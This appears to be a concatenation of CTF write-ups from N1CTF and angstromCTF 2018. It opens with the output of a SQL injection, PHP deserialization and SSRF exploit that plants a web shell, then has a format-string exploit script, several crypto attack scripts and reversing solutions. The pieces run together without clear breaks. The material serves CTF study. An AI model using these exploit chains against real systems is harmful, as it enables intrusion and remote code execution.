```❯❯❯ python solve_ssrf_rce.py[+] creating user session to trigger ssrf[+] register(sttozcf7wn, u4t6s3m5ym)[+] login(sttozcf7wn, u4t6s3m5ym)[+] user session => 0tn8db2fpp79rj68cdbq6thi13[+] getting fresh session to be authenticated as admin[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237313a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d343272726d313632766d3266387372756a626b697669357538370d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2034320d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d4928290d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- -[+] injecting payload through sqli[+] triggering object deserialization -> ssrf[+] admin session => ls62913aenuq4vvqcoftkb03o4[+] uploading stager[+] bruteforcing uploaded file...[+] stager => http://47.97.221.96:23333/index.php?action=../adminpic/kkk152075889095.jpg[+] shell => http://47.97.221.96:23333/wshell.php
$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)```
And up to that point we realized that the challenge author wants to ruin our lives! The flag was not stored anywhere in the filesystem. Doing some more enumeration we recall that we have 2 sets of credentials for the database, including `root`.
```$ printf 'TnUxTGN0ZiUjfjpw' | base64 -d > dbpass.txt$ mysql -uroot -p$(cat dbpass.txt) -e "use flag; select flag from flag"flagN1CTF{php_unserialize_ssrf_crlf_injection_is_easy:p}```
## References
* https://www.slideshare.net/MailRuGroup/security-meetup-22-php-unserialize-exploiting* https://www.ptsecurity.com/upload/iblock/dac/daca495893852753dac1d0b17f51df19.pdf* https://www.youtube.com/watch?v=5AdVQzUB6iM* http://lab.truel.it/php-object-injection-the-dirty-way/ |
## harder php? (Web, 769pt)
> almost same as `easy php`> > http://47.52.246.175:23333/
The only difference with [easy php](../easy-php-540/README.md) was in the server configuration (diff shown below) and did not affect our solution from the first challenge. So, the solution for easy php gave us both flags.
**run.sh**
```diff-(while true;do rm -rf /tmp/*;sleep 2;done)&+(while true;do rm -rf /tmp/*;sleep 1;done)& -## rm sql-cd /tmp/-rm sql.sql +sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/cli/php.ini+sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/apache2/php.ini++cd /etc/php5/apache2/conf.d/+rm 20-xdebug.ini+rm 20-memcached.ini+rm 20-memcache.ini++rm -r /var/www/phpinfo++rm /app/views/phpinfo++## chmod```
**clean_danger.sh**
```diff cd /app/adminpic/ rm *.jpg+cd /var/www/html/adminpic/+rm *```
```N1CTF{i'm sorry for it!!!!:p}``` |
# Intro To RSA
**Category:** Cryptography**Points:** 50**Description:**
> One common method of public key encryption is the RSA algorithm. Given p, q, e, and c, see if you can recover the message and find the flag!
## Write-up
```pythonimport gmpyimport sys# Si n est pas de p q , p et q = factordb.com of n
p = 169524110085046954319747170465105648233168702937955683889447853815898670069828343980818367807171215202643149176857117014826791242142210124521380573480143683660195568906553119683192470329413953411905742074448392816913467035316596822218317488903257069007949137629543010054246885909276872349326142152285347048927q = 170780128973387404254550233211898468299200117082734909936129463191969072080198908267381169837578188594808676174446856901962451707859231958269401958672950141944679827844646158659922175597068183903642473161665782065958249304202759597168259072368123700040163659262941978786363797334903233540121308223989457248267e = 65537
c = 4531850464036745618300770366164614386495084945985129111541252641569745463086472656370005978297267807299415858324820149933137259813719550825795569865301790252501254180057121806754411506817019631341846094836070057184169015820234429382145019281935017707994070217705460907511942438972962653164287761695982230728969508370400854478181107445003385579261993625770566932506870421547033934140554009090766102575218045185956824020910463996496543098753308927618692783836021742365910050093343747616861660744940014683025321538719970946739880943167282065095406465354971096477229669290277771547093476011147370441338501427786766482964
phi = (p-1)*(q-1)d = gmpy.invert(e, phi)m = pow(c, d, p*q)
print(hex(m)[2:].replace('L','').decode('hex'))```
|
# Number Guess
**Category:** Binary Exploitation**Points:** 70**Description:**
> Ian loves playing number guessing games, so he went ahead and wrote one himself (source). I hope it doesn't have any vulns. The service is running at nc shell.angstromctf.com 1235.
## Write-up
```pythonfrom pwn import *
# p = process('./guessPublic64')p = remote('shell.angstromctf.com', 1235)
p.recvuntil("max):")p.sendline("0x%3$x-0x%9$x")
p.recvuntil("sum?")data = p.recvuntil("guess:")numbers = data.split("'s guess")[0].strip().split('-')
p.sendline(str(int(numbers[0],16)+int(numbers[1],16)))
print p.recvall()```
|
```import json, ssdeep
text = open('file-20171020T1500').read()
data = [json.loads(x) for x in text.split('\n')]
number = {}
for i in range(len(data)): number[str(i)] = data[i]['positives']
numberr = sorted(number.items(), key=lambda x:x[1], reverse=True)
index = int(numberr[3][0])
high = [0,'']for i in range(len(data)): if i != index: fuzza = data[index]['ssdeep'] fuzzb = data[i]['ssdeep'] try: score = ssdeep.compare(fuzza,fuzzb) if score > high[0]: high[0] = score high[1] = data[i]['md5'] except Exception as e: pass
print str(high[0])+":"+high[1]#74:58eecc3d74637728a102f43072b49502``` |
# Number GuessFor this challenge we get a binary (guessPublic64) and the source it was compiled from (guessPublic.c).
## OutlineThe program basically does the following:
* Ask the user to enter the sum (guess) of two secret random numbers in the range from 0 to 1000000* Calculate the random numbers, using ```c.time()``` as seed* If the guess equals the sum of the two random numbers, the flag gets printed
Here's the source code:```#include <stdio.h>#include <stdlib.h>#include <string.h>#include <time.h>
char *flag = "REDACTED";char buf[50];
int main(int argc, char **argv) {
puts("Welcome to the number guessing game!"); puts("Before we begin, please enter your name (40 chars max): "); fflush(stdout); fgets(buf, 40, stdin); buf[strlen(buf)-1] = '\0'; strcat(buf, "'s guess: "); puts("I'm thinking of two random numbers (0 to 1000000), can you tell me their sum?"); srand(time(NULL)); int rand1 = rand() % 1000000; int rand2 = rand() % 1000000;
printf(buf); fflush(stdout); int guess; char num[8]; fgets(num,8,stdin); sscanf(num,"%d",&guess);
if (guess == rand1+rand2){ printf("Congrats, here's a flag: %s\n", flag); } else { printf("Sorry, the answer was %d. Try again :(\n", rand1+rand2); } fflush(stdout); return 0;}```
From a quick look at the source code we learn that there is no buffer overflow vulnerability due to the use of ```fgets()``` which restricts the length of the input to be read. However, when we enter e.g. ```%d``` as name, our name suddenly becomes something like ```1339265028```. Obviously we're dealing with a format string vulnerability here. This allows us to read the stack and subsequently find out the secret random numbers!
We can outline the approximate steps from here to the flag:* Using GDB, find out, where on the stack the random numbers are stored (this always the same)* Craft a format string payload suited to the scenario (and buffer)* Use this payload on the shell server
## DebuggingWe load the binary in GDB and via ```disas main``` obtain the assembly instructions of the main function. For us the two parts where the random numbers are pushed on the stack are of most interest. For this, we just need to find the function calls to the rand() function:
Call for first number: ``` 0x0000000000400930 <+202>: callq 0x400750 <rand@plt>```Call for second numb: ```0x000000000040095f <+249>: callq 0x400750 <rand@plt>```
From these positions we go down a few steps to find those instructions where the random and modulo operations are finished. In case you are as much of an assembly pro like I am, this might involve a few iterations of trial and error :) . We basically set breakpoints somewhere after the first and second ```rand()``` calls find out the random numbers via ```info reg```.
Below we can see the result of this investigation:First number moved to %ecx: ```0x000000000040095a <+244>: mov %ecx,%eax```Second number moved to %ecx: ```0x0000000000400989 <+291>: mov %ecx,%eax```
Now we know what our random numbers. Next up is finding out their location on the stack. For this we set another breakpoint after the second breakpoint, prefarrably here: ```0x0000000000400993 <+301>: mov $0x0,%eax```At this breakpoint we display the content of some stackframes via ```x/24d $rsp``` (in this case 24 frames and in decimal representation). Et voilà, there are our two random numbers (see screenshot below).
In order to display both of them, we exactly need to read exactly 9 stack frames, which is achieved with ```%d %d %d %d %d %d %d %d %d``` as name.
Below you can see an exemplary (debug) run of the binary:
And finally, we apply our knowledge on the CTF server. Works like a charm!
## actf{format_stringz_are_pre77y_sc4ry} |
```$ nc web.angstromctf.com 3002Welcome to Fruit Slots!We've given you $10.00 on the house.Once you're a high roller, we'll give you a flag.You have $10.00.Enter your bet: NaN? : ? : ?? : ? : ? ◀? : ? : ?You lost everything.Wow, you're a high roller!A flag: actf{fruity}``` |
# gmx
**gmx** was a 160 point cryptography challenge in **Ångstrom CTF 2018**. I thought it was very interesting, especially because it used an actual cryptosystem I had no knowledge of, and surprisingly validated by less than 30 teams among the almost 2000 that were participating.
## Challenge description
defund created a nonconformist hybrid cryptosystem. He even made a service running at `web.angstromctf.com:3000`; here's the [public key](https://angstromctf.com/static/crypto/gmx/pk). All you have to do is decrypt this [flag](https://angstromctf.com/static/crypto/gmx/flag.enc), which was encrypted with this [key](https://angstromctf.com/static/crypto/gmx/key.enc). We've also provided the relevant [source code](/static/crypto/gmx/gmx.zip). Note: connect with netcat or an equivalent tool.
## Analyzing the source code
The source is composed of **4 files**: **aes.py**, **gen.py**, **gm.py**, and **server.py**. Let's start with **aes.py**:
### aes.py
```pythonfrom Crypto import Randomfrom Crypto.Cipher import AES
def encrypt(k, m): iv = Random.new().read(16) cipher = AES.new(k, AES.MODE_CFB, iv) return iv + cipher.encrypt(m)
def decrypt(k, c): cipher = AES.new(k, AES.MODE_CFB, c[:16]) return cipher.decrypt(c[16:])```
Nothing special happening here, these functions are pretty much wrappers to **encrypt** and **decrypt** with **AES in CFB mode** with a **random IV that is prepended to the ciphertext during encryption**.
### gen.py
```pythonfrom Crypto import Random
import aesimport gm
flag = open('flag').read()
key = Random.new().read(16)pk, sk = gm.generate()
encflag = aes.encrypt(key, flag)enckey = gm.encrypt(key, pk)
with open('pk', 'w') as f: f.write('\n'.join([str(x) for x in pk]))
with open('sk', 'w') as f: f.write('\n'.join([str(x) for x in sk]))
with open('key.enc', 'w') as f: f.write('\n'.join([str(x) for x in enckey]))
with open('flag.enc', 'w') as f: f.write(encflag)```
In **gen.py**, we can basically see how the files we were provided were generated; the flag is encrypted using the `encrypt` function from **aes.py**, and then written to a file. The key is then encrypted with an `encrypt` function presumably defined in **gm.py**, using the **public key** we have been provided, and then written to a file. Each of the keys in the generated keypair (*pk and sk*) is then also written to a file.
Because the crux of the problem will most likely lie in **gm.py** (*that's my experience speaking*), let's continue with **server.py** so as to not get too deep in unnecessary considerations.
### server.py
```pythonimport base64import signalimport SocketServer
import aesimport gm
PORT = 3000
message = open('message').read()
with open('sk') as f: p = int(f.readline()) q = int(f.readline()) sk = (p, q)
class incoming(SocketServer.BaseRequestHandler): def handle(self): req = self.request
def receive(): buf = '' while not buf.endswith('\n'): buf += req.recv(1) return buf[:-1]
signal.alarm(60)
req.sendall('Welcome to the Goldwasser-Micali key exchange!\n') req.sendall('Please send us an encrypted 128 bit key for us to use.\n') req.sendall('Each encrypted bit should be sent line by line in integer format.\n')
enckey = [] for i in range(128): enckey.append(int(receive())) key = gm.decrypt(enckey, sk) encmessage = aes.encrypt(key, message)
req.sendall(base64.b64encode(encmessage)+'\n') req.close()
class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): pass
SocketServer.TCPServer.allow_reuse_address = Trueserver = ReusableTCPServer(('0.0.0.0', PORT), incoming)
print 'Server listening on port %d' % PORTserver.serve_forever(```
So basically, the code here waits for us to send an **AES key encrypted with gm** (*which we can now deduce means "Goldwasser-Micali"*), then it **decrypts it using the secret key** generated in **gen.py**. Then, a **certain message** is **encrypted using the decrypted AES key**. It is then **base64-encoded** and sent back to us. Since `message` is also read from a file, it is safe to assume that it doesn't change between each connection to the service. An obvious deduction is that the **service will serve as some kind of oracle**.
### gm.py
```pythonfrom Crypto.Util.number import *from gmpy import legendre
def generate(): p = getStrongPrime(1024) q = getStrongPrime(1024) n = p*q x = getRandomRange(0, n) while legendre(x, p) != -1 or legendre(x, q) != -1: x = getRandomRange(0, n) return (n, x), (p, q)
def encrypt(m, pk): n, x = pk for b in format(int(m.encode('hex'), 16), 'b').zfill(len(m) * 8): y = getRandomRange(0, n) yield pow(y, 2) * pow(x, int(b)) % n
def decrypt(c, sk): p, q = sk m = 0 for z in c: m <<= 1 if legendre(z % p, p) != 1 or legendre(z % q, q) != 1: m += 1 h = '%x' % m l = len(h) return h.zfill(l + l % 2).decode('hex')```
Here comes the non-straightforward part… Because only `gm.decrypt` is used in **server.py** (*and not `gm.encrypt`*), we can assume that it is the function of interest in this challenge. Let's break it down:
```pythonp, q = sk```
First it splits `sk` in two components. A quick look at the `generate` function confirms that `sk` is a tuple.
```pythonm = 0for z in c: m <<= 1 if legendre(z % p, p) != 1 or legendre(z % q, q) != 1: m += 1 ```
Seeing `m = 0`, `m <<= 1` and `m += 1`, we understand that the rightmost bit of `m` is set at each iteration. If `legendre(z % p, p) != 1` or if `legendre(z % q, q) != 1`, it is set to **1**; otherwise, it is set to **0**. It is not clear what `legendre` is supposed to do; let's have a look at Wikipedia:
**<Wikipedia>**
In number theory, the **Legendre symbol** is a multiplicative function with values 1, −1, 0 that is a quadratic character modulo an odd prime number p: its value on a (nonzero) quadratic residue mod p is 1 and on a non-quadratic residue (non-residue) is −1. Its value on zero is 0.
**</Wikipedia>**
Now, just for the sake of being clear, let's check what a **quadratic residue** is:
**<Wikipedia>**
In number theory, an integer q is called a **quadratic residue** modulo n if it is congruent to a perfect square modulo n.
**</Wikipedia>**
Phew, that is clearer!
Let's note that when this function is called from **server.py**, since **128 lines are parsed by the service, 128 iterations of the loop occur**. This means that **128 bits are set**, which corresponds exactly to the length of an **AES-128 key**.
```pythonh = '%x' % ml = len(h)return h.zfill(l + l % 2).decode('hex')```
Then, `m` is formatted in **hex**, properly padded, decoded and returned.From this analysis follows the fact that `m` is at most `len(c)` bits long, and most likely close to that.
## Exploitation
Our goal is obviously to retrieve the **AES key** in **key.enc**, so that we can use it to decrypt **flag.enc**.
First, we know that `legendre(a, p)` returns **0** if **a % p = 0**. Since we have the following line:
```pythonif legendre(z % p, p) != 1 or legendre(z % q, q) != 1: m += 1```
we can deduce that sending 128 lines equal to **"0"** to the service will result in the generation of a key `key = "\xff" * 16`.
Using this property, we retrieve the value of `message` (*defined in **server.py***) using the following script:
```pythonimport aesimport base64import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('web.angstromctf.com', 3000))
print '[+] Connected'
print sock.recv(1024)
for i in range(128): sock.send('0\n')
print sock.recv(1024)key = '\xff' * 16print aes.decrypt(key, base64.b64decode(sock.recv(1024)))
sock.close()```
and we get the following message:
```Hi, this is defund and you're reading my super secret message! Unfortunately, getting this message is not the challenge whatsoever. I don't have much else to talk about, so I guess follow me at github.com/defund, twitter.com/defunded, and keybase.io/defund.
Also, here's a fake flag that you're going to submit anyways:actf{this_is_a_fake_flag}
Good luck with the challenge! ;)```
Obviously, we try to validate using the fake flag… But it doesn't work, surprisingly.
We figured that we're somehow able to control the return value of `legendre` so that it returns 0 **regardless of what the secret GM key actually is**.
If we were to replace the first line in our all "0" encrypted key with the first line of **key.enc**, we would be able to receive a ciphertext encrypted with a key whose first bit corresponds to the first line of **key.enc**. Then, **it is just a matter of testing whether the bit should be a 1 or a 0**; this is **easily doable by checking which of the two possible keys decrypts the ciphertext to the expected plaintext**!
Because we're pretty lazy (*at least I am*), we want to reuse the `gm.decrypt` function to generate our key. It is therefore useful to know that, in the same way `legendre(a, p)` returns **0** for any value of `p` provided that `a = 0`, `legendre(a, p)` returns **1** for any value of `p` provided that `a = 1`. The reason is obvious: **1 is a perfect square**, and since **it is not a prime**, it is not an adequate value for `p`. Note that **4** would also be an acceptable value, as **2 is not an odd prime**.
With this idea, we create the following (*dirty*) script:
```pythonimport aesimport base64import gmimport socket
# Connecting to the serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('web.angstromctf.com', 3000))
# Yay!print '[+] Connected'
# Reading the encrypted keywith open('key.enc') as f: enc_key = f.read().split('\n')
# Initializing the key for our methodbase_key = [0] * 128
# recv useless garbageprint sock.recv(1024)
# Send the key, which is basically all 0s at this pointfor i in range(len(base_key)): sock.send(str(base_key[i]) + '\n')
# recv useless garbage againprint sock.recv(1024)
# Setting the decryption key to its initial valuedec_key = '\xff' * 16
# Retrieving the "witness" base64 encrypted stringb64witness = sock.recv(1024)
# Decrypting the witness and storing it so as to compare all the subsequent# results with it.witness = aes.decrypt(dec_key, base64.b64decode(b64witness))
print 'Witness is: ' + witness
# :'( gotta open againsock.close()
for i in range(128): # Open, open, open sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('web.angstromctf.com', 3000)) print '[+] Connected (' + str(i + 1) + ')'
# Getting useless garbage sock.recv(1024)
# Setting the current encrypted bit to the one in the encrypted key base_key[i] = int(enc_key[i])
# Send the key for j in range(len(base_key)): sock.send(str(base_key[j]) + '\n') res = ''
# Fetching the result, with super dirty error correction, idc while len(res) < 10 or 'Please send' in res: res = sock.recv(1024) # Checking whether the decryption works properly with the key we have if aes.decrypt(dec_key, base64.b64decode(res)) == witness: base_key[i] = 0 # Otherwise, we need to change the key else: # Cause I'm lazy base_key[i] = 1 # Modifying the key as it should be dec_key = gm.decrypt(base_key, (17, 19))
sock.close()
# Got the key :-)print '[+] Key is: ' + ' '.join([str(ord(c)) for c in dec_key])
# Writing to fileprint '[+] Writing to \'result\'...'with open('result', 'w') as fres: with open('flag.enc') as flag: fres.write(aes.decrypt(dec_key, flag.read()))```
Aaand, we get a jpg file, which contains… **the flag**!
**Flag: actf{a_bit_of_homomorphism}**
## Conclusion
This CTF was really quite interesting. I especially enjoyed this challenge; quit making **RSA challenges** people, we need more of these! |
# File Transfer
We get a pcap file which we open in WireShark. It comprises only 28 packets from only two different hosts - so this challenge should not be too difficult. Usually we would first navigate through the TCP streams via right-click on a TCP packet -> ```Follow``` -> ```TCP Stream``` to get an idea of what is (roughly) going on. Here we only need to scroll a little to see that a JPEG picture has been transferred (see screenshot below, grey row).
We probably could extract the picture manually, but WireShark already comes with the exact feature required here. Navigate to ```File``` -> ```Export Objects``` and select the only file available. Save it somewhere as .JPEG and enjoy the flag!
## actf{0ver_th3_w1re} |
# Awesome Mix1## Challenge+ The challenege was to break the Crypto Algorithm being used to get access.+ Source code service.py is:```pythonfrom Crypto.PublicKey import RSAfrom Crypto.Signature import PKCS1_v1_5 as RSAsignfrom Crypto.Hash import SHAfrom pad import PKCS1_pad as padfrom SECRET import flagimport sys
def verify(s,m,n,e): if pow(s,e,n) == pad(m): return True else: return False
key = RSA.generate(1024)
message = "super important information for admin only"
h = SHA.new(message)signer = RSAsign.new(key)signature = signer.sign(h)s = int(signature.encode("hex"),16)
print "Welcome to admin's music portal.\nTo verify that you are the owner of this service\nsend the public key which will verify the following signature :\n"print "Message ->", messageprint "Signature ->", sigprintsys.stdout.flush()n = long(raw_input("Enter n:"))print "n: " , ne = long(raw_input("Enter e:"))print "e : " , esys.stdout.flush()
input_key = RSA.construct((n,e))
print "input key : ", input_keyprint
if verify(s,h.hexdigest(),n,e): print flagelse: print "Music is only for admin's eyes."```
+ source code for pad.py :
```pythondef PKCS1_pad(data): asn1 = "003021300906052b0e03021a05000414" ans = asn1+data n=len(ans) padding = '0001'+'f'*(1024/4-n-4) return int((padding + ans),16) ```
## Analysis+ the if statement in verify checks the input against `pad(m)` which is always `h.hexdigest()` and thus constant+ so now we need the correct values of `s, n, and e`+ `pow(s,e,n) =: s^e % n`+ if `e=1` , `s%n = pad(m)`+ thus `n = pad(m) - s`
## Own Code:```pthonfrom Crypto.PublicKey import RSAfrom Crypto.Signature import PKCS1_v1_5 as RSAsignfrom Crypto.Hash import SHAfrom pad import PKCS1_pad as padimport sys
message = "super important information for admin only"
h = SHA.new(message)
padding = pad(h.hexdigest())
sig = raw_input('enter signature > ').strip()
s = int(sig,16)
print "s : " , sprint print "n = ", s - paddingprintprint "e = 1"```
# The values of n and e when input to the service gives the flag! |
## Writeup for challenge 'memsafety'
This is a challenge compiled with an old version of `Rust` compiler.
The first hint is meant to let everybody have a grasp of why the source code can't compile on newer versions of `Rust` compiler and leads them to the right direction.
After figuring out why the source can't compile, players can :
- Wandering around the broken part of the code and try to trigger the bug.- Search for references of the fix (or issue) related to this problem.- Do whatever they like to "learn" about the bug. :)
After players know there is a use-after-free bug, the common exploitation thoughts are to retake some important structures that can achieve memory read/write. So they need to study for some `Rust` internals.
Details can be found in : [x.py](./x.py)
## References
* [The origin of this challenge :)](https://github.com/rust-lang/rust/issues/37891)
|
The hint ("xn--") refers to the starting characters of the ascii form of inernationalised URLs, which are punycode encoded.The message is created by replacing some characters with lookalike unicode characters, and encoding it with punycode, repeatedly.To decode:```#!/usr/bin/python3data = b'tf{und!_rl_mgl_fr_umt}-fr3fk4kdg3kg3gk6t70f3757-40td6q62drgm7535md666d-k82057f67g207d43q-m21mm41k2zl57q6-184f43gd52k037r-0l7gd64rkn7818-458l32fmg3m-6767z-ug59d08d-02k7f-23ku1rl6f8n-3lq4k-q7lnq39d8f-4z6m900524l23q-7nn1g1886336d1q-0d778g0fu0298930g-kz3qd0066m63u5635530f934-62gd40g89k96uq8186dg13573-k52ul1dd51m95l124dmtf811806u4-36501kfgdd57nm491f71t88d0u162280-gk1z5dgd3434tt57261u8-0g8074mmg64qd3444kq71m5k-7233ndg668fk2-93d13l369mnf6693-15n26fd362mfzg2t545tm2-048695kd05ug14g3nd101z52-2887dgf16mtu29gl0k1zq7-70f51315r924866qd68-6d1254fg38d05908u15m28f231drq2dk-364k36tddfk721fr0dtk6dnm-g56n16udd660884q7z8016trgf6n-06785dfd442l183g3dtt-40d76g5236322ndt8-157156d224d840f180lu234r-d7369df135613dn7dn-1511zf136884df969dktr1l-907q0d215l36l558g7-f78g638431gnuq2m3z4-ld00dn951f259f753gu2331-t81dt3dd390-m072dd913931-8z73dd463f9705-m94dq4462k3361-106dd884043d791zq56-f67dg555900l0f605n8l-tf59ddf945m041fu36k71429-zq11d347gl886m36m5-2625ufd3674m005868q5975f-15412949860m3075qd1d992g-2q46d520dl020530g63290dqzd-z58lg021gd46110d4uf0404-830fd032l072ql86m85947g8-d422fd923f204ul592f9347mluu8g-554f17fffd256m9t64l6dkz6q-2456f1gl886m0-67f7f388m5943f66n083-tr69fd948295rn8nr-60ggn429331l7k-81gugdg600d4q858f68d0344f-d83g319g631dm957m43054d-k65g520d772d0q4u019q2880q4r2791f-k418g8gdkgff814dlk33599845dz205r17-0080572df416dr038dzdk7039543ru2mq3-893d277dm7r3023m173-u9058g568dg214nqr106zg2570-m017f216f926un88l42d21741lu3f-149kg1373919zn1k70fdln79-4831638972d093mf000497651k6410d24g-6404279ddff764r124k335gnm540d51kk421g435k21k-t57l931dgffdd396d278krk4d569f2l-9999dl672dk958kl781u93tl382-412m093dffd399853ll59092-004q2fgf021f797z6d21rf-85995dr812fntz798t5k-lt477f043ftrq8517n79358q-r039md4383d1526zq629f-001k4q265f043mddg2t8051qrz4718940-0063k789dkd037f241qtg9057u077ln-m16kgg198f025q2299k7269-197k412gfd910g651zl468666gk-k10lmg351gd964n9m25789r08fn2-du32l244fgd403g504r7um41f99981352m-05ldn685674g9qgf993463n-586ld6d995g310048z6ld315282-zn09ln697fdk057gurkqd184z1f5td8994u4n-uu91mg739d519g54n024-z53mf330fd340979urdrz4f6r6927-085m7ngdn703z7813m5g-u547m042fm8uf6093ld-09mf023fgd3906zg220-g50nugf03343t43g99l-802n9f5264dfftz7u-14n876lt21dmqm4g7q154t-95nt867543q37334373r8824-17nf737fd0492966d336d39g-509n7fdg040393n684r715614057z420-l61fd669fffg542qt8dqt710g11865g86441-44fd211gmfg093894rl4384tt9851nu-96qd642gggng685nu2kgu582g0d8420f427n878rn5ql-1301514gdgf918du05u7081q51-rt426kl009d121d1006fd4464u4-264kff440714f196gq764910d7165qn6-0n17l687gffd2225797ff369qf61f7f20299d5-1m10qm819gffm514d963t210kzl050k650781822703u5-z63q9kfgdg14632grff6204976693077dq-lu36q152lfg8088961g7814269g511uur9r-19qfm893gfg330k2z467208n4392zlg25z-62rddk261k886u5g1kg1516461k9157u-1q34rql123kd8192904m6d311325k-m57rf284k32744d3828k52765732-g288r109gfff736k4790fl365274d310155-n52d308k390442642d706rl-534d029kfl7734q1956fku6d811m7tf-q956lgf590l47914627ku2d3t-k97983427086766fd8879qg6z7ll01-u30t915f293l609t8t8g0948k74zf1513f-03tnf636dgl665ld84952412d8313kt12ml-z175tqmffgg237lf2143g678k9272u94103-58t2329dl719l348f7802460d1z0t6n-990u150dm480mlzkfd221d1g2t4dklll911d458442-n34ud642kl382m9800g713m651001d9068r622122d89665q-08ud034ddfg245mf1054f43dff440zln9-k260k865fkn707m752zfg31q795l39035-623lg307378m76uftf73716z1236zr0dnf1l4-6d26468fm950nn5849998d053212d5014g28281-429rnfggf862n37r05fq0425g2-mu31d721kkfg904ndlg3350rqkknq8dmfg9850q0df1442qm-q15fz892kkffg466nt00467dkkr4dzqr8-m774nfl908nn71214d694k0q4d5u271dnqmn-050616kk2635df9dkn4tz48951-l73mg611g1958z1147k45915qr60-k184gd172q25848kn1n4uf-q66429kl683q4422694279kq89k4309r4q-nl39d1050lfdgd495n6062dz731r45dgf6ud-d33l25704926g5dtl47nz87kz-z14r113l188m4613897gq812g832855t9861923l-t37df364lgfff50148538946dd0d003093977d050863d190m-11ztd666lgrg34315404n7f1d27605dm2t676um3-9d34zq738lf9751d908m9150646209fzm916821543n-d667zrg400mdd477dn9132t9789qd3345u-2300gggg851m949km5662fddu5050fg176d-q130q592mgdlg711q956224g835gf30369r-9500524mff703q16n56408-11670gg535mfl514qn85634d540r-n990l746m085q663zmn41267d-91140696q6u7105rd3075-16531f558mdfg408q66gd0798t5f0765-k161q569mf479qk4r1gk550fk0k-1281g590nfk721rf8715zmqf4-30202fl191nk652r7649t2483gf3-5522qffg7600u94f3g-q932693nn774rt7r6684g06172-4n062utqf706rm91g661fkz-2872585nd937r79dmuu-0g4925qfl27510gqd10858mdn05403n-f1813gmq289r427855f-u2743d5342f4gr86g80072-2153lrql791-19063dtq962z89dk-6783d34384878530gk519l-6z193381g5590d366fkq794dlrk1182-9k614g592026588984f-n134k3qdd53738md557funk0119d264328f-ql954315gf70937190td2k808915853-75384956dkf860t0760823knk7fm0055077k-rl215m697dff3713d7d63u48g725143795-935tg039qf644tr29g95937kf53n-rr165t840kl075tk0dlk7q899944-1385181617t9980z94700-0006d562ff348t8mzdlu524t820120-r426g183fg789tn1332662g17828ff80523-4256k225fff381uq90mu30791n71749102t1d08153-8f586fg496nff263uku0832u597609085267zl458l0-g8817f958ggl795u19543z1l3qd5f9698-d547dm210qfu377u4423l5dl03971f05436qtm-4577f661qgkr1997d72g307gm1g544l61458-q3081013qfl961k8314t5d8188fm7gn3f18984-9948fkf533l05546dq465qm57d148g07lz0m-q3168g336qdg135z6215781mm786qz0fn71gk64145-34498gltfgmg74719lmq3014mu26765-539df0949qg0105l-239g29410q7603t9-u549l950rdf1485g21104d-q979ff3913d4571nn7d-u879988283d208151u22k4g-07991t504d5566365f45422281nnmg457631fr52466-3030nu094rdgf2360442d1k20589ld9717954-399504446rfgg938l967299832257406u-f680m787rf099q5333df9948kd23g3fn41gd-4t411fu339rggg761265819kk9858318unzf22-n4410g380ddm7833u55453gq046uk919fr5mz9l1nu-lt771282t795n2349083kf23352fm8245497d1-9r702d734777l9225df074m0f4431nn81-332k065d1591159fn72065717f874tm-852296fdf811z7n1kg11944867f705dm7u305-d782l548dnfk592d16665mnf589u4529gln72071939mr5814d-6t623fdf720tdkfgfg6754216079lq05203qu67d-t853512tgl1473991d9r2m91r4891f72q4f25q-88399ufnm4492821dg346q64264171492f3k06nlf-ek024bdaj445tfahedfib941zkaf0071cwa659nhafn033ic6ksa1976gla153ick36c'
repl = {a: b for a, b in zip( 'Ьаеорсухѕіјѡѵһ', 'baeopcyxsijwvh')}
try: unreplaced = set() while b'-' in data: data = data.decode('punycode') for char in data: if ord(char) > 0x80: unreplaced.add(char) for a, b in repl.items(): data = data.replace(a, b) data = bytearray(data, 'ascii')finally: print(''.join(sorted(unreplaced))) print(data)```Flag: actf{punycode!_replace_homoglyphs_before_submit} |
# Rev3The ELF executable (rev3_32) we receive for this challenge takes a string as input, performs some operations on it and finally compares it to the following hardcoded string ```egzloxi|ixw]dkSe]dzSzccShejSi^3q```. If the two strings match, the program prints a success message.
Let's have a look at the ```encode``` function, which can be seen in the screenshot below:
What this function basically does is it takes each input character ```XOR 9``` and subtracts ```3``` from the result. In order to obtain the decoded string, we just use a small Python script which reverts the encoding.
```encoded = "egzloxi|ixw]dkSe]dzSzccShejSi^3q" decoded = ""
for c in encoded: dc = ord(c) + 3 dc = dc ^ 9 decoded += str(chr(dc))
print(decoded)```
The decoded string is also our flag.
## actf{reversing_aint_too_bad_eh?} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>angstromCTF</span></span><span>/</span>letter<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>angstromCTF</span></span><span>/</span>letter<span>/</span></div>
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If you log-in with 'I'm Admin' checked you fall into chain of redirects.
So you just need to get admin.php contents. I've used curl as you can quite easily copy command right from Networking tab.
 |
# Run me
Here's the challenge:
Its the beginning and basic challenge for reverse. All we have to do for finding the flag is to run this file as it can be seen in the task name
Lets connect to server problem directory with ssh and run the file ...
